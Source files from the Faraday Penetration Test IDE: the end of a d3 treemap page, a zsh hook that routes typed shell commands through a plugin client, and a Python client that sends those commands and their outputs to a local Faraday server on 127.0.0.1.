187 overflow: hidden;
188 font-weight: bold;
189 position: absolute;
190 text-indent: 2px;
191 }
192 </style>
193 <script>
194 var margin = {top: 10, left: 10, bottom: 10, right: 10}
195 , width = screen.width / 1.5
196 , mapRatio = .5
197 , height = width * mapRatio;
198
199 var color = d3.scale.category20c();
200
201 var treemap = d3.layout.treemap()
202 .size([width, height])
203 .sticky(true)
204 .value(function(d) {return d.value});
205
206 var div = d3.select("#chart").append("div")
207 .attr("class", "treemap-box")
208 .style("position", "relative")
209 .style("width", (width) + "px")
210 .style("height", (height) + "px")
211 .style("left", margin.left + "px")
212 .style("top", margin.top + "px");
213
214 var workspace = getParameterByName('workspace');
215 var design = getParameterByName('design');
216 var view = getParameterByName('view');
217
218 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view + "?group=true";
219 d3.json(json_url, function(error, root) {
220 var jotason = {};
221 jotason["children"] = root["rows"];
222 var node = div.datum(jotason).selectAll(".node")
223 .data(treemap.nodes)
224 .enter().append("div")
225 .attr("class", "node")
226 .call(position)
227 .style("background", function(d) {return color(Math.floor(Math.random()*68)); })
228 .text(function(d, i) {
229 var total = d3.sum(jotason["children"], function(d){return d.value;});
230 return (d.key+ " ( " + d3.round(100* d.value / total, 1) + "% " + ")" ) ;
231 });
232 });
233
234 //return d.children ? null : d.key;
235 function position() {
236 this.style("left", function(d) { return d.x + "px"; })
237 .style("top", function(d) { return d.y + "px"; })
238 .style("width", function(d) { return Math.max(0, d.dx - 1) + "px"; })
239 .style("height", function(d) { return Math.max(0, d.dy - 1) + "px"; });
240 }
241
242 //function para traer parametros
243 function getParameterByName( name ){
244 name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
245 var regexS = "[\\?&]"+name+"=([^&#]*)";
246 var regex = new RegExp( regexS );
247 var results = regex.exec( window.location.href );
248 if( results == null )
249 return "";
250 else
251 return decodeURIComponent(results[1].replace(/\+/g, " "));
252 }
253
254 $("#chart").width(screen.width / 1.47);
255 $("#chart").height((screen.width /1.45) * (mapRatio + .05));
256
257 $('.treemap').on('mouseenter', '.faraday-qtips', function (event) {
258 $(this).qtip({
259 overwrite: false, // Don't overwrite tooltips already bound
260 show: {
261 event: event.type, // Use the same event type as above
262 ready: true // Show immediately - important!
263 },
264 hide: {
265 fixed: true,
266 delay: 300
267 },
268 content:{
269 text: function(event, api) {
270 var res = "<div id=\"contenido\">"+$(this).attr("title")+"</div>";
271 return res;
272 }
273 },
274 position:{
275 my: 'top center',
276 at: 'bottom center',
277 adjust: {
278 method: 'shift'
279 }
280 }
281 });
282 });
283 </script>
284 </body>
285 </html>
(New empty file)
0 #'''
1 #Faraday Penetration Test IDE - Community Version
2 #Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 #See the file 'doc/LICENSE' for the license information
4 #
5 #'''
6
7 echo ">>> WELCOME TO FARADAY"
8 WORKSPACE=`cat $HOME/.faraday/config/user.xml | grep '<last_workspace' | cut -d '>' -f 2 | cut -d '<' -f 1`
9 PS1="%{${fg_bold[red]}%}[faraday]($WORKSPACE)%{${reset_color}%} $PS1"
10
11 setopt multios
12 setopt histignorespace
13
14 plugin_controller_client=$HOME/.faraday/zsh/plugin_controller_client.py
15 old_cmd=
16
17 add-output() {
18 old_cmd=$BUFFER
19 new_cmd=`python2 $plugin_controller_client send_cmd $BUFFER`
20 BUFFER=" $new_cmd"
21 zle .accept-line "$@"
22 }
23
24 function zshaddhistory() {
25 emulate -L zsh
26 print -sr -- "$old_cmd"
27 fc -p
28 return 1
29 }
30
31 zle -N accept-line add-output
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import json
9 import requests
10 import sys
11 import uuid
12 import os
13 import base64
14
15 #TODO: load output dir from faraday config
16 #check if output dir already exists, otherwise create it
17 file_path = os.path.realpath(__file__)
18 output_folder = "%s/output" % os.path.dirname(file_path)
19 if not os.path.exists(output_folder):
20 os.mkdir(output_folder)
21
22 #TODO: Load this from faraday config
23 host = "127.0.0.1"
24 port = 9977
25
26 url_input = "http://%s:%d/cmd/input" % (host, port)
27 url_output = "http://%s:%d/cmd/output" % (host, port)
28 url_active_plugins = "http://%s:%d/cmd/active-plugins" % (host, port)
29 headers = {'Content-type': 'application/json', 'Accept': 'application/json'}
30
31
32 def send_cmd(cmd):
33 data = {"cmd": cmd}
34 new_cmd = cmd
35 result = False
36 try:
37 response = requests.post(url_input,
38 data=json.dumps(data),
39 headers=headers)
40
41 if response.status_code == 200:
42 json_response = response.json()
43 if "cmd" in json_response.keys():
44 if json_response.get("cmd") is not None:
45 new_cmd = json_response.get("cmd")
46 if "custom_output_file" in json_response.keys():
47 output_file = json_response.get("custom_output_file")
48 if output_file is None:
49 output_file = "%s/%s.output" % (output_folder, uuid.uuid4())
50 new_cmd += " >&1 > %s" % output_file
51
52 new_cmd += " && python2 %s send_output %s \"%s\"" % (file_path, base64.b64encode(cmd), output_file)
53 result = True
54 except:
55 new_cmd = cmd
56 finally:
57 print new_cmd
58 return result
59
60
61 def send_output(cmd, output_file):
62 output_file = open(output_file)
63 output = output_file.read()
64 data = {"cmd": base64.b64decode(cmd), "output": base64.b64encode(output)}
65 response = requests.post(url_output,
66 data=json.dumps(data),
67 headers=headers)
68 if response.status_code != 200:
69 print "something wrong"
70 print response.json()
71 return True
72 return False
73
74
75 def main(argv):
76 if len(argv) < 3:
77 sys.exit(0)
78
79 action = argv[1]
80
81 dispatcher = {'send_cmd': send_cmd, 'send_output': send_output}
82
83 if action in dispatcher.keys():
84 if len(argv[2:]) > 0:
85 dispatcher[action](*argv[2:])
86
87 #sys.exit(0)
88
89 if __name__ == '__main__':
90 main(sys.argv)